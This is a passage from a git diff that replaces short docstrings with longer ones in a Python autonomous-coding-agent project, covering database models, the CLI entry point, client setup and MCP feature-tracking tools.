to_dict(self) -> dict: - """Convert feature to dictionary for JSON serialization.""" + """ + Serialize the Feature instance to a JSON-serializable dictionary. + + Boolean status fields that are None are coerced to False; dependencies that are None or empty are returned as an empty list; datetime fields are converted to ISO 8601 strings or None. + + Returns: + dict: Dictionary with keys: + - id (int | None) + - priority (int) + - category (str) + - name (str) + - description (str) + - steps (list) + - passes (bool) + - in_progress (bool) + - dependencies (list[int]) + - created_at (str | None) ISO 8601 timestamp or None + - started_at (str | None) ISO 8601 timestamp or None + - completed_at (str | None) ISO 8601 timestamp or None + - last_failed_at (str | None) ISO 8601 timestamp or None + - last_error (str | None) + - quality_result (dict | list | None) + """ return { "id": self.id, "priority": self.priority, @@ -95,7 +122,12 @@ def to_dict(self) -> dict: } def get_dependencies_safe(self) -> list[int]: - """Safely extract dependencies, handling NULL and malformed data.""" + """ + Parse the model's dependencies field into a list of integer IDs. + + Returns: + list[int]: Dependency IDs as integers. Returns an empty list if `dependencies` is None, not a list, or contains no integer values. + """ if self.dependencies is None: return [] if isinstance(self.dependencies, list): @@ -152,7 +184,21 @@ class FeatureAttempt(Base): feature = relationship("Feature", back_populates="attempts") def to_dict(self) -> dict: - """Convert attempt to dictionary for JSON serialization.""" + """ + Return a dictionary representation of the attempt suitable for JSON serialization. + + Returns: + dict: Mapping with the following keys: + id: int - attempt primary key. + feature_id: int - associated feature primary key. + agent_type: str - type of agent that ran the attempt. + agent_id: str | None - identifier of the agent, or `None`. + agent_index: int | None - numeric index of the agent, or `None`. + started_at: str | None - ISO 8601 timestamp of start, or `None`. + ended_at: str | None - ISO 8601 timestamp of end, or `None`. + outcome: str - attempt outcome. + error_message: str | None - error message if present, or `None`. + """ return { "id": self.id, "feature_id": self.feature_id, @@ -167,7 +213,12 @@ def to_dict(self) -> dict: @property def duration_seconds(self) -> float | None: - """Calculate attempt duration in seconds.""" + """ + Compute the duration of the attempt in seconds. + + Returns: + float | None: Duration in seconds if both `started_at` and `ended_at` are present, `None` otherwise. + """ if self.started_at and self.ended_at: return (self.ended_at - self.started_at).total_seconds() return None @@ -218,7 +269,24 @@ class FeatureError(Base): feature = relationship("Feature", back_populates="errors") def to_dict(self) -> dict: - """Convert error to dictionary for JSON serialization.""" + """ + Serialize the FeatureError into a JSON-friendly dictionary. + + Returns: + dict: Mapping with keys: + - `id`: primary key of the error record. + - `feature_id`: associated feature's id. + - `error_type`: short string classifying the error. + - `error_message`: human-readable error message. + - `stack_trace`: optional stack trace text or `None`. + - `agent_type`: agent category that produced the error or `None`. + - `agent_id`: identifier of the agent instance or `None`. + - `attempt_id`: related FeatureAttempt id or `None`. + - `occurred_at`: ISO 8601 timestamp string of when the error occurred, or `None`. + - `resolved`: boolean indicating whether the error has been resolved. + - `resolved_at`: ISO 8601 timestamp string of when the error was resolved, or `None`. + - `resolution_notes`: optional resolution notes or `None`. + """ return { "id": self.id, "feature_id": self.feature_id, @@ -278,7 +346,16 @@ class Schedule(Base): ) def to_dict(self) -> dict: - """Convert schedule to dictionary for JSON serialization.""" + """ + Serialize the Schedule into a JSON-serializable dictionary. + + Included keys: `id`, `project_name`, `start_time`, `duration_minutes`, `days_of_week`, + `enabled`, `yolo_mode`, `model`, `max_concurrency`, `crash_count`, and `created_at`. + The `created_at` value is an ISO 8601 string when present, otherwise `None`. + + Returns: + dict: Mapping of schedule field names to their serializable values. + """ return { "id": self.id, "project_name": self.project_name, @@ -294,7 +371,15 @@ def to_dict(self) -> dict: } def is_active_on_day(self, weekday: int) -> bool: - """Check if schedule is active on given weekday (0=Monday, 6=Sunday).""" + """ + Determine whether the schedule is active on the specified weekday (0=Monday, 6=Sunday). + + Parameters: + weekday (int): Weekday index where 0 = Monday and 6 = Sunday. + + Returns: + bool: `true` if the schedule is active on the given weekday, `false` otherwise. + """ day_bit = 1 << weekday return bool(self.days_of_week & day_bit) @@ -320,11 +405,21 @@ class ScheduleOverride(Base): schedule = relationship("Schedule", back_populates="overrides") def to_dict(self) -> dict: - """Convert override to dictionary for JSON serialization.""" + """ + Serialize the schedule override to a dictionary. + + Returns: + dict: A dictionary with keys: + - `id` (int | None): Override primary key. + - `schedule_id` (int): Associated schedule primary key. + - `override_type` (str): Either "start" or "stop". + - `expires_at` (str | None): ISO 8601 timestamp when the override expires, or `None`. + - `created_at` (str | None): ISO 8601 timestamp when the override was created, or `None`. + """ return { "id": self.id, "schedule_id": self.schedule_id, "override_type": self.override_type, "expires_at": self.expires_at.isoformat() if self.expires_at else None, "created_at": self.created_at.isoformat() if self.created_at else None, - } + } \ No newline at end of file diff --git a/autonomous_agent_demo.py b/autonomous_agent_demo.py index 0444daa..f3f9f78 100644 --- a/autonomous_agent_demo.py +++ b/autonomous_agent_demo.py @@ -56,10 +56,12 @@ def safe_asyncio_run(coro): """ - Run an async coroutine with proper cleanup to avoid Windows subprocess errors. - - On Windows, subprocess transports may raise 'Event loop is closed' errors - during garbage collection if not properly cleaned up. + Run the given coroutine and ensure asyncio resources are cleaned up on Windows to avoid subprocess-related "Event loop is closed" errors. + + On Windows this function creates and runs a dedicated event loop and performs additional cleanup (cancelling pending tasks, awaiting their completion, shutting down async generators and the default executor) before closing the loop. On other platforms it delegates to asyncio.run. + + Returns: + The value returned by the awaited coroutine. """ if sys.platform == "win32": loop = asyncio.new_event_loop() @@ -87,7 +89,21 @@ def safe_asyncio_run(coro): def parse_args() -> argparse.Namespace: - """Parse command line arguments.""" + """ + Parse command-line arguments for the Autonomous Coding Agent Demo. + + Configures the CLI for orchestrator and subprocess modes and supports: + - project selection via --project-dir (required) + - run limits via --max-iterations + - model selection via --model + - rapid prototyping via --yolo + - concurrency control via --concurrency / -c (deprecated alias: --parallel / -p) + - targeted operation via --feature-id, --agent-type, and --testing-feature-id + - testing configuration via --testing-ratio + + Returns: + argparse.Namespace: The parsed command-line arguments. + """ parser = argparse.ArgumentParser( description="Autonomous Coding Agent Demo - Unified orchestrator pattern", formatter_class=argparse.RawDescriptionHelpFormatter, @@ -198,7 +214,11 @@ def parse_args() -> argparse.Namespace: def main() -> None: - """Main entry point.""" + """ + Start the CLI, resolve the target project path, and launch the appropriate autonomous agent workflow. + + Parses command-line arguments, maps a deprecated `--parallel` value to `--concurrency`, and resolves `project_dir` either as an absolute filesystem path or by looking up a registered project name. If `--agent-type` is provided, runs the specified agent role (using `max_iterations=1` when not supplied); otherwise launches the unified parallel orchestrator after clamping concurrency to the range 1–5. Execution of async workflows is delegated to `safe_asyncio_run`. On user interrupt, prints a short resume guidance; on other exceptions, prints a fatal error message and re-raises. + """ print("[ENTRY] autonomous_agent_demo.py starting...", flush=True) args = parse_args() @@ -272,4 +292,4 @@ def main() -> None: if __name__ == "__main__": - main() + main() \ No newline at end of file diff --git a/client.py b/client.py index 8434408..7315b39 100644 --- a/client.py +++ b/client.py @@ -53,10 +53,12 @@ def get_playwright_headless() -> bool: """ - Get the Playwright headless mode setting. - - Reads from PLAYWRIGHT_HEADLESS environment variable, defaults to True. - Returns True for headless mode (invisible browser), False for visible browser. + Return whether Playwright should run in headless mode. + + Reads the PLAYWRIGHT_HEADLESS environment variable and interprets "true", "1", "yes", "on" as headless and "false", "0", "no", "off" as headed. If the value is unset or invalid, the function falls back to DEFAULT_PLAYWRIGHT_HEADLESS. + + Returns: + `true` if headless, `false` otherwise. """ value = os.getenv("PLAYWRIGHT_HEADLESS", str(DEFAULT_PLAYWRIGHT_HEADLESS).lower()).strip().lower() truthy = {"true", "1", "yes", "on"} @@ -166,26 +168,18 @@ def create_client( agent_id: str | None = None, ): """ - Create a Claude Agent SDK client with multi-layered security. - - Args: - project_dir: Directory for the project - model: Claude model to use - yolo_mode: If True, skip Playwright MCP server for rapid prototyping - agent_id: Optional unique identifier for browser isolation in parallel mode. - When provided, each agent gets its own browser profile. - + Create and configure a ClaudeSDKClient for a project with layered security and optional Playwright integration. + + Ensures the project directory exists and writes a per-project security settings file (.claude_settings.json), configures allowed tools, permissions, MCP servers (features and optional Playwright), security hooks, compaction hook, and API environment overrides passed to the Claude CLI subprocess. + + Parameters: + project_dir (Path): Project directory used as the client's working directory and the scope for filesystem permissions; created if it does not exist. + model (str): Claude model identifier to use. + yolo_mode (bool): If True, omit the Playwright MCP server and related Playwright tools/permissions for faster prototyping. + agent_id (str | None): Optional identifier to enable isolated browser contexts per agent when Playwright is enabled. + Returns: - Configured ClaudeSDKClient (from claude_agent_sdk) - - Security layers (defense in depth): - 1. Sandbox - OS-level bash command isolation prevents filesystem escape - 2. Permissions - File operations restricted to project_dir only - 3. Security hooks - Bash commands validated against an allowlist - (see security.py for ALLOWED_COMMANDS) - - Note: Authentication is handled by start.bat/start.sh before this runs. - The Claude SDK auto-detects credentials from the Claude CLI configuration + ClaudeSDKClient: A fully configured ClaudeSDKClient instance ready to run within the specified project directory. """ # Build allowed tools list based on mode # In YOLO mode, exclude Playwright tools for faster prototyping @@ -318,7 +312,17 @@ def create_client( # Create a wrapper for bash_security_hook that passes project_dir via context async def bash_hook_with_context(input_data, tool_use_id=None, context=None): - """Wrapper that injects project_dir into context for security hook.""" + """ + Injects the project directory into the hook context and delegates validation to the bash security hook. + + Parameters: + input_data: The hook input payload provided to the bash security hook. + tool_use_id (optional): Identifier for the tool invocation, if available. + context (optional): Existing hook context; the function will add a `project_dir` entry (absolute path) before invoking the security hook. + + Returns: + The JSON output returned by `bash_security_hook` (hook validation result). + """ if context is None: context = {} context["project_dir"] = str(project_dir.resolve()) @@ -333,14 +337,19 @@ async def pre_compact_hook( context: HookContext, ) -> SyncHookJSONOutput: """ - Hook called before context compaction occurs. - - Compaction triggers: - - "auto": Automatic compaction when context approaches token limits - - "manual": User-initiated compaction via /compact command - - The hook can customize compaction via hookSpecificOutput: - - customInstructions: String with focus areas for summarization + Called before the agent's context is compacted to allow optional guidance or to override compaction behavior. + + This hook reads input_data keys: + - "trigger": either "auto" when compaction is automatic or "manual" when user-initiated. + - "custom_instructions": optional string with summarization focus areas; if provided it will be logged. + + Parameters: + input_data (HookInput): Hook input; may include "trigger" and "custom_instructions". + tool_use_id (str | None): Identifier for the tool use that triggered the hook (may be None). + context (HookContext): Current hook execution context. + + Returns: + SyncHookJSONOutput: Empty output to permit the default compaction behavior, or a structure with `"hookSpecificOutput"` containing `"hookEventName": "PreCompact"` and `"customInstructions"` to customize compaction. """ trigger = input_data.get("trigger", "auto") custom_instructions = input_data.get("custom_instructions") @@ -408,4 +417,4 @@ async def pre_compact_hook( # - compaction_control={"enabled": True, "context_token_threshold": 80000} # - context_management={"edits": [...]} for tool use clearing ) - ) + ) \ No newline at end of file diff --git a/mcp_server/feature_mcp.py b/mcp_server/feature_mcp.py old mode 100755 new mode 100644 index 0c28872..8230343 --- a/mcp_server/feature_mcp.py +++ b/mcp_server/feature_mcp.py @@ -46,7 +46,12 @@ def _utc_now() -> datetime: - """Return current UTC time.""" + """ + Get the current timezone-aware UTC datetime. + + Returns: + utc_now (datetime): A timezone-aware datetime set to UTC. + """ return datetime.now(timezone.utc) from mcp.server.fastmcp import FastMCP @@ -114,7 +119,14 @@ class BulkCreateInput(BaseModel): @asynccontextmanager async def server_lifespan(server: FastMCP): - """Initialize database on startup, cleanup on shutdown.""" + """ + Set up application resources for the server lifespan: prepare project directory, initialize the database engine and session maker, and run migrations on startup; dispose the engine on shutdown. + + Side effects: + - Creates PROJECT_DIR if missing. + - Sets module-level `_engine` and `_session_maker`. + - Runs migration to convert legacy data if required. + """ global _session_maker, _engine # Create project directory if it doesn't exist @@ -243,20 +255,18 @@ def feature_mark_passing( feature_id: Annotated[int, Field(description="The ID of the feature to mark as passing", ge=1)], quality_result: Annotated[dict | None, Field(description="Optional quality gate results to store as test evidence", default=None)] = None ) -> str: - """Mark a feature as passing after successful implementation. - - Updates the feature's passes field to true and clears the in_progress flag. - Use this after you have implemented the feature and verified it works correctly. - - Optionally stores quality gate results (lint, type-check, test outputs) as - test evidence for compliance and debugging purposes. - - Args: - feature_id: The ID of the feature to mark as passing - quality_result: Optional dict with quality gate results (lint, type-check, etc.) - + """ + Mark the feature as passing and optionally record quality-gate evidence. + + Sets the feature's pass state, clears the in-progress flag and last error, and records completion time. If provided, stores `quality_result` on the feature. Commits the change and returns a JSON-encoded response. + + Parameters: + feature_id (int): ID of the feature to mark as passing. + quality_result (dict | None): Optional quality gate results (lint, test outputs, etc.) to store as test evidence. + Returns: - JSON with success confirmation: {success, feature_id, name} + str: JSON string. On success: {"success": True, "feature_id": , "name": ""}. + On failure or missing feature: {"error": ""}. """ session = get_session() try: @@ -289,24 +299,16 @@ def feature_mark_failing( feature_id: Annotated[int, Field(description="The ID of the feature to mark as failing", ge=1)], error_message: Annotated[str | None, Field(description="Optional error message describing why the feature failed", default=None)] = None ) -> str: - """Mark a feature as failing after finding a regression. - - Updates the feature's passes field to false and clears the in_progress flag. - Use this when a testing agent discovers that a previously-passing feature - no longer works correctly (regression detected). - - After marking as failing, you should: - 1. Investigate the root cause - 2. Fix the regression - 3. Verify the fix - 4. Call feature_mark_passing once fixed - - Args: - feature_id: The ID of the feature to mark as failing - error_message: Optional message describing the failure (e.g., test output, stack trace) - + """ + Mark a feature as failed due to a detected regression. + + Sets the feature's pass state to false, clears any in-progress claim, records the failure time, and optionally stores a failure message. + + Parameters: + error_message (str | None): Optional failure description to store on the feature; if provided, it is truncated to 10,240 characters. + Returns: - JSON with the updated feature details, or error if not found. + str: JSON string containing success information with `feature_id` and `name` on success, or an `{"error": ...}` object on failure. """ session = get_session() try: @@ -344,20 +346,18 @@ def feature_mark_failing( def feature_get_for_regression( limit: Annotated[int, Field(default=3, ge=1, le=10, description="Maximum number of passing features to return")] = 3 ) -> str: - """Get passing features for regression testing, prioritizing least-tested features. - - Returns features that are currently passing, ordered by regression_count (ascending) - so that features tested fewer times are prioritized. This ensures even distribution - of regression testing across all features, avoiding duplicate testing of the same - features while others are never tested. - - Each returned feature has its regression_count incremented to track testing frequency. - - Args: - limit: Maximum number of features to return (1-10, default 3) - + """ + Select passing features for regression testing, prioritizing those with the lowest regression counts. + + Returns up to `limit` features that currently pass and increments each feature's `regression_count` to record that it was selected for regression testing. + + Parameters: + limit (int): Maximum number of features to return (1-10, default 3). + Returns: - JSON with list of features for regression testing. + str: JSON string with keys: + - "features": list of feature dictionaries selected for regression testing. + - "count": integer number of features returned. """ session = get_session() try: @@ -399,28 +399,19 @@ def feature_get_for_regression( def feature_skip( feature_id: Annotated[int, Field(description="The ID of the feature to skip", ge=1)] ) -> str: - """Skip a feature by moving it to the end of the priority queue. - - Use this ONLY for truly external blockers you cannot control: - - External API credentials not configured (e.g., Stripe keys, OAuth secrets) - - External service unavailable or inaccessible - - Hardware/environment limitations you cannot fulfill - - DO NOT skip for: - - Missing functionality (build it yourself) - - Refactoring features (implement them like any other feature) - - "Unclear requirements" (interpret the intent and implement) - - Dependencies on other features (build those first) - - The feature's priority is set to max_priority + 1, so it will be - worked on after all other pending features. Also clears the in_progress - flag so the feature returns to "pending" status. - - Args: - feature_id: The ID of the feature to skip - + """ + Move a feature to the end of the priority queue and clear its in-progress state. + + Sets the feature's priority to the current maximum priority plus one and sets + its `in_progress` flag to False so it returns to pending status. + + Parameters: + feature_id (int): ID of the feature to move; must be >= 1. + Returns: - JSON with skip details: id, name, old_priority, new_priority, message + str: JSON object with either skip details or an error. + On success: { "id", "name", "old_priority", "new_priority", "message" }. + On failure: { "error": "" }. """ session = get_session() try: @@ -464,19 +455,16 @@ def feature_skip( def feature_mark_in_progress( feature_id: Annotated[int, Field(description="The ID of the feature to mark as in-progress", ge=1)] ) -> str: - """Mark a feature as in-progress. - - This prevents other agent sessions from working on the same feature. - Call this after getting your assigned feature details with feature_get_by_id. - - Uses atomic locking to prevent race conditions when multiple agents - try to claim the same feature simultaneously. - - Args: - feature_id: The ID of the feature to mark as in-progress - + """ + Reserve a feature for work by marking it in-progress. + + Sets the feature's `in_progress` flag to `True` and records `started_at`. If the feature does not exist, is already passing, or is already in-progress, an error response is returned. + + Parameters: + feature_id (int): The ID of the feature to mark as in-progress. + Returns: - JSON with the updated feature details, or error if not found or already in-progress. + str: JSON string containing the updated feature object on success, or an error object with an `error` message on failure. """ # Use lock to prevent race condition when multiple agents try to claim simultaneously with _claim_lock: @@ -510,19 +498,16 @@ def feature_mark_in_progress( def feature_claim_and_get( feature_id: Annotated[int, Field(description="The ID of the feature to claim", ge=1)] ) -> str: - """Atomically claim a feature (mark in-progress) and return its full details. - - Combines feature_mark_in_progress + feature_get_by_id into a single operation. - If already in-progress, still returns the feature details (idempotent). - - Uses atomic locking to prevent race conditions when multiple agents - try to claim the same feature simultaneously. - - Args: - feature_id: The ID of the feature to claim and retrieve - + """ + Atomically claims a feature (marks it in-progress) and returns the feature's full details. + + If the feature is already in-progress the operation is idempotent and returns the feature details with an `already_claimed` flag. Will return an error if the feature does not exist or is already marked passing. + + Parameters: + feature_id (int): The ID of the feature to claim. + Returns: - JSON with feature details including claimed status, or error if not found. + str: JSON-encoded object containing the feature details with an `already_claimed` boolean, or an error object with an `error` key describing the failure. """ # Use lock to ensure atomic claim operation across multiple processes with _claim_lock: @@ -558,16 +543,11 @@ def feature_claim_and_get( def feature_clear_in_progress( feature_id: Annotated[int, Field(description="The ID of the feature to clear in-progress status", ge=1)] ) -> str: - """Clear in-progress status from a feature. - - Use this when abandoning a feature or manually unsticking a stuck feature. - The feature will return to the pending queue. - - Args: - feature_id: The ID of the feature to clear in-progress status - + """ + Clear the in-progress flag on the specified feature and return its updated representation. + Returns: - JSON with the updated feature details, or error if not found. + JSON string containing the updated feature dictionary on success, or an error object with an "error" key if the feature is not found or the operation fails. """ session = get_session() try: @@ -593,16 +573,15 @@ def feature_release_testing( feature_id: Annotated[int, Field(ge=1, description="Feature ID to release testing claim")], tested_ok: Annotated[bool, Field(description="True if feature passed, False if regression found")] ) -> str: - """Release a testing claim on a feature. - - Testing agents MUST call this when done, regardless of outcome. - - Args: - feature_id: The ID of the feature to release - tested_ok: True if the feature still passes, False if a regression was found - + """ + Release a testing claim for a feature and record whether it passed or regressed. + + Parameters: + feature_id (int): ID of the feature to release. + tested_ok (bool): True if the feature passed testing, False if a regression was detected. + Returns: - JSON with: success, feature_id, tested_ok, message + str: JSON string containing either a success object with keys `success`, `feature_id`, `tested_ok`, and `message`, or an error object with an `error` key. """ session = get_session() try: @@ -752,19 +731,17 @@ def feature_create( description: Annotated[str, Field(min_length=1, description="Detailed description of the feature")], steps: Annotated[list[str], Field(min_length=1, description="List of implementation/verification steps")] ) -> str: - """Create a single feature in the project backlog. - - Use this when the user asks to add a new feature, capability, or test case. - The feature will be added with the next available priority number. - - Args: - category: Feature category for grouping (e.g., 'Authentication', 'API', 'UI') - name: Descriptive name for the feature - description: Detailed description of what this feature should do - steps: List of steps to implement or verify the feature - + """ + Create a new feature in the project backlog and assign it the next available priority. + + Parameters: + category (str): Feature category for grouping (e.g., "Authentication", "API", "UI"). + name (str): Descriptive name for the feature. + description (str): Detailed description of the feature. + steps (list[str]): Ordered list of implementation or verification steps. + Returns: - JSON with the created feature details including its ID + str: JSON string containing the created feature details on success (includes `success`, `message`, and a `feature` object with assigned `id` and `priority`), or an error object with an `error` key on failure. """ session = get_session() try: @@ -808,22 +785,20 @@ def feature_update( description: Annotated[str | None, Field(default=None, min_length=1, description="New description (optional)")] = None, steps: Annotated[list[str] | None, Field(default=None, min_length=1, description="New steps list (optional)")] = None, ) -> str: - """Update an existing feature's editable fields. - - Use this when the user asks to modify, update, edit, or change a feature. - Only the provided fields will be updated; others remain unchanged. - - Cannot update: id, priority (use feature_skip), passes, in_progress (agent-controlled) - - Args: - feature_id: The ID of the feature to update - category: New category (optional) - name: New name (optional) - description: New description (optional) - steps: New steps list (optional) - + """ + Update editable fields of an existing feature. + + Only the provided fields are changed; id, priority, passes, and in_progress cannot be modified. At least one of `category`, `name`, `description`, or `steps` must be provided. + + Parameters: + feature_id (int): ID of the feature to update. + category (str | None): New category (optional). + name (str | None): New name (optional). + description (str | None): New description (optional). + steps (list[str] | None): New ordered list of steps (optional). + Returns: - JSON with the updated feature details, or error if not found. + str: JSON string containing the updated feature under `"feature"` on success, or an `{"error": ...}` object on failure. """ session = get_session() try: @@ -870,17 +845,19 @@ def feature_add_dependency( feature_id: Annotated[int, Field(ge=1, description="Feature to add dependency to")], dependency_id: Annotated[int, Field(ge=1, description="ID of the dependency feature")] ) -> str: - """Add a dependency relationship between features. - - The dependency_id feature must be completed before feature_id can be started. - Validates: self-reference, existence, circular dependencies, max limit. - - Args: - feature_id: The ID of the feature that will depend on another feature - dependency_id: The ID of the feature that must be completed first - + """ + Add a dependency edge indicating that one feature must complete before another can start. + + Validates that both features exist, prevents a feature from depending on itself, enforces the maximum dependencies limit, and rejects changes that would create a circular dependency. + + Parameters: + feature_id (int): ID of the feature that will depend on another feature. + dependency_id (int): ID of the feature that must be completed first. + Returns: - JSON with success status and updated dependencies list, or error message + str: JSON string containing either: + - on success: {"success": True, "feature_id": , "dependencies": [, ...]} + - on error: {"error": ""} """ session = get_session() try: @@ -935,14 +912,12 @@ def feature_remove_dependency( feature_id: Annotated[int, Field(ge=1, description="Feature to remove dependency from")], dependency_id: Annotated[int, Field(ge=1, description="ID of dependency to remove")] ) -> str: - """Remove a dependency from a feature. - - Args: - feature_id: The ID of the feature to remove a dependency from - dependency_id: The ID of the dependency to remove - + """ + Remove a dependency edge from a feature's dependency list. + Returns: - JSON with success status and updated dependencies list, or error message + A JSON string. On success: `{"success": True, "feature_id": , "dependencies": []}`. + On error: `{"error": ""}` (e.g., feature not found, dependency not present, or failure). """ session = get_session() try: @@ -974,19 +949,18 @@ def feature_remove_dependency( def feature_delete( feature_id: Annotated[int, Field(description="The ID of the feature to delete", ge=1)] ) -> str: - """Delete a feature from the backlog. - - Use this when the user asks to remove, delete, or drop a feature. - This removes the feature from tracking only - any implemented code remains. - - For completed features, consider suggesting the user create a new "removal" - feature if they also want the code removed. - - Args: - feature_id: The ID of the feature to delete - + """ + Delete a feature and remove any dependency references to it from other features. + + Removes the feature record from the backlog. If other features listed this feature in their dependencies, those references are removed (dependency list set to None if empty) before deletion. + + Parameters: + feature_id (int): The ID of the feature to delete. + Returns: - JSON with success message and deleted feature details, or error if not found. + str: JSON string containing either: + - On success: an object with "success": true, "deleted_feature" (the deleted feature's data), "message", and optionally "updated_dependents" (list of {id, name} for features that had the dependency removed). + - On error: an object with an "error" key describing the failure. """ session = get_session() try: @@ -1042,16 +1016,19 @@ def feature_delete( def feature_get_ready( limit: Annotated[int, Field(default=10, ge=1, le=50, description="Max features to return")] = 10 ) -> str: - """Get all features ready to start (dependencies satisfied, not in progress). - - Useful for parallel execution - returns multiple features that can run simultaneously. - A feature is ready if it is not passing, not in progress, and all dependencies are passing. - - Args: - limit: Maximum number of features to return (1-50, default 10) - + """ + Return features that are ready to start (dependencies satisfied and not in progress). + + A feature is ready if it is not passing, not marked in progress, and every feature it depends on is passing. + + Parameters: + limit (int): Maximum number of features to include in the returned list (1–50). + Returns: - JSON with: features (list), count (int), total_ready (int) + JSON string with keys: + - `features`: list of feature dictionaries ready to start. + - `count`: number of features returned (<= `limit`). + - `total_ready`: total number of ready features available. """ session = get_session() try: @@ -1189,16 +1166,17 @@ def feature_set_dependencies( feature_id: Annotated[int, Field(ge=1, description="Feature to set dependencies for")], dependency_ids: Annotated[list[int], Field(description="List of dependency feature IDs")] ) -> str: - """Set all dependencies for a feature at once, replacing any existing dependencies. - - Validates: self-reference, existence of all dependencies, circular dependencies, max limit. - - Args: - feature_id: The ID of the feature to set dependencies for - dependency_ids: List of feature IDs that must be completed first - + """ + Replace a feature's dependency list with the provided feature IDs. + + Validates that the feature exists, that no self-reference, duplicates, or more than the allowed maximum dependencies are present, that every dependency ID exists, and that updating the dependencies will not create a circular dependency. On success, persists the new dependency list (or clears it) and returns the updated dependencies. + + Parameters: + feature_id (int): ID of the feature whose dependencies will be replaced. + dependency_ids (list[int]): List of feature IDs that this feature should depend on (order will be stored sorted). Use an empty list to clear dependencies. + Returns: - JSON with success status and updated dependencies list, or error message + str: JSON object. On success: {"success": True, "feature_id": , "dependencies": []}. On failure: {"error": ""}. """ session = get_session() try: @@ -1262,19 +1240,19 @@ def feature_start_attempt( agent_id: Annotated[str | None, Field(description="Optional unique agent identifier", default=None)] = None, agent_index: Annotated[int | None, Field(description="Optional agent index for parallel runs", default=None)] = None ) -> str: - """Start tracking an agent's attempt on a feature. - - Creates a new FeatureAttempt record to track which agent is working on - which feature, with timing and outcome tracking. - - Args: - feature_id: The ID of the feature being worked on - agent_type: Type of agent ("initializer", "coding", "testing") - agent_id: Optional unique identifier for the agent - agent_index: Optional index for parallel agent runs (0, 1, 2, etc.) - + """ + Create and record a new agent attempt for a feature. + + Validates the feature exists and the agent_type, then inserts a FeatureAttempt with outcome set to "in_progress" and a started timestamp. + + Parameters: + feature_id (int): Feature ID to start the attempt for. + agent_type (str): Agent type; one of "initializer", "coding", or "testing". + agent_id (str | None): Optional unique agent identifier. + agent_index (int | None): Optional agent index for parallel runs. + Returns: - JSON with the created attempt ID and details + str: JSON string containing the created attempt information on success (includes `attempt_id`, `feature_id`, `agent_type`, and `started_at`) or an `error` object on failure. """ session = get_session() try: @@ -1321,17 +1299,16 @@ def feature_end_attempt( outcome: Annotated[str, Field(description="Outcome: 'success', 'failure', or 'abandoned'")], error_message: Annotated[str | None, Field(description="Optional error message for failures", default=None)] = None ) -> str: - """End tracking an agent's attempt on a feature. - - Updates the FeatureAttempt record with the final outcome and timing. - - Args: - attempt_id: The ID of the attempt to end - outcome: Final outcome ("success", "failure", "abandoned") - error_message: Optional error message for failure cases - + """ + End a feature attempt by recording its end time and final outcome. + + Parameters: + attempt_id (int): ID of the attempt to finish. + outcome (str): One of 'success', 'failure', or 'abandoned'. + error_message (str | None): Optional error message to record (stored truncated to 10240 characters). + Returns: - JSON with the updated attempt details including duration + result (str): JSON object containing the updated attempt under "attempt" and "duration_seconds" on success, or an "error" key on failure. """ session = get_session() try: @@ -1371,17 +1348,14 @@ def feature_get_attempts( feature_id: Annotated[int, Field(ge=1, description="Feature ID to get attempts for")], limit: Annotated[int, Field(default=10, ge=1, le=100, description="Max attempts to return")] = 10 ) -> str: - """Get attempt history for a feature. - - Returns all attempts made on a feature, ordered by most recent first. - Useful for debugging and understanding which agents worked on a feature. - - Args: - feature_id: The ID of the feature - limit: Maximum number of attempts to return (1-100, default 10) - + """ + Retrieve recent attempt records and summary statistics for a feature. + Returns: - JSON with list of attempts and statistics + JSON string containing: + - `feature_id` (int) and `feature_name` (str) + - `attempts` (list): attempt objects ordered by most recent first + - `statistics` (dict): `total_attempts`, `success_count`, `failure_count`, and `abandoned_count` """ session = get_session() try: @@ -1435,22 +1409,16 @@ def feature_log_error( agent_id: Annotated[str | None, Field(description="Optional agent ID", default=None)] = None, attempt_id: Annotated[int | None, Field(description="Optional attempt ID to link this error to", default=None)] = None ) -> str: - """Log an error for a feature. - - Creates a new error record to track issues encountered while working on a feature. - This maintains a full history of all errors for debugging and analysis. - - Args: - feature_id: The ID of the feature - error_type: Type of error (test_failure, lint_error, runtime_error, timeout, other) - error_message: Description of the error - stack_trace: Optional full stack trace - agent_type: Optional type of agent that encountered the error - agent_id: Optional identifier of the agent - attempt_id: Optional attempt ID to associate this error with - + """ + Record an error for a feature, create a FeatureError entry, and update the feature's last_error and last_failed_at fields. + + Parameters: + error_type (str): One of "test_failure", "lint_error", "runtime_error", "timeout", or "other". + error_message (str): Description of the error; stored truncated to 10240 characters if longer. + stack_trace (str | None): Optional stack trace; stored truncated to 50000 characters if longer. + Returns: - JSON with the created error ID and details + str: JSON string. On success: {"success": True, "error_id": , "feature_id": , "error_type": , "occurred_at": }. On failure: {"error": ""}. """ session = get_session() try: @@ -1575,16 +1543,17 @@ def feature_resolve_error( error_id: Annotated[int, Field(ge=1, description="Error ID to resolve")], resolution_notes: Annotated[str | None, Field(description="Optional notes about how the error was resolved", default=None)] = None ) -> str: - """Mark an error as resolved. - - Updates an error record to indicate it has been fixed or addressed. - - Args: - error_id: The ID of the error to resolve - resolution_notes: Optional notes about the resolution - + """ + Mark a FeatureError as resolved and record optional resolution notes. + + If the error exists and is not already resolved, sets it as resolved, records the resolution time, stores up to 5000 characters of resolution notes, and returns the updated error data. If the error is missing or already resolved, returns an error object. + + Parameters: + error_id (int): ID of the error to resolve. + resolution_notes (str | None): Optional notes describing how the error was resolved; truncated to 5000 characters if longer. + Returns: - JSON with the updated error details + str: JSON object with "success": True and the updated error under "error", or a JSON error object with an "error" key. """ session = get_session() try: @@ -1615,4 +1584,4 @@ def feature_resolve_error( if __name__ == "__main__": - mcp.run() + mcp.run() \ No newline at end of file diff --git a/parallel_orchestrator.py b/parallel_orchestrator.py index 6730075..c578544 100644 --- a/parallel_orchestrator.py +++ b/parallel_orchestrator.py @@ -48,16 +48,13 @@ def _get_minimal_env() -> dict[str, str]: - """Get minimal environment for subprocess to avoid Windows command line length issues. - - Windows has a command line length limit of ~32KB. When the environment is very large - (e.g., with many PATH entries), passing the entire environment can exceed this limit. - - This function returns only essential environment variables needed for Python - and API operations. - + """ + Builds a minimal environment mapping suitable for subprocesses to reduce environment size. + + This returns only environment variables listed in `ESSENTIAL_ENV_VARS` that exist in the current process environment and ensures `PYTHONUNBUFFERED` is set to `"1"`. This is intended to limit subprocess environment size (for example, to avoid platform command-line/environment length limits) while preserving variables required for runtime and API access. + Returns: - Dictionary of essential environment variables + env (dict[str, str]): Mapping of environment variable names to values containing the selected essentials plus `PYTHONUNBUFFERED="1"`. """ env = {} for var in ESSENTIAL_ENV_VARS: @@ -92,10 +89,13 @@ def _get_minimal_env() -> dict[str, str]: def safe_asyncio_run(coro): """ - Run an async coroutine with proper cleanup 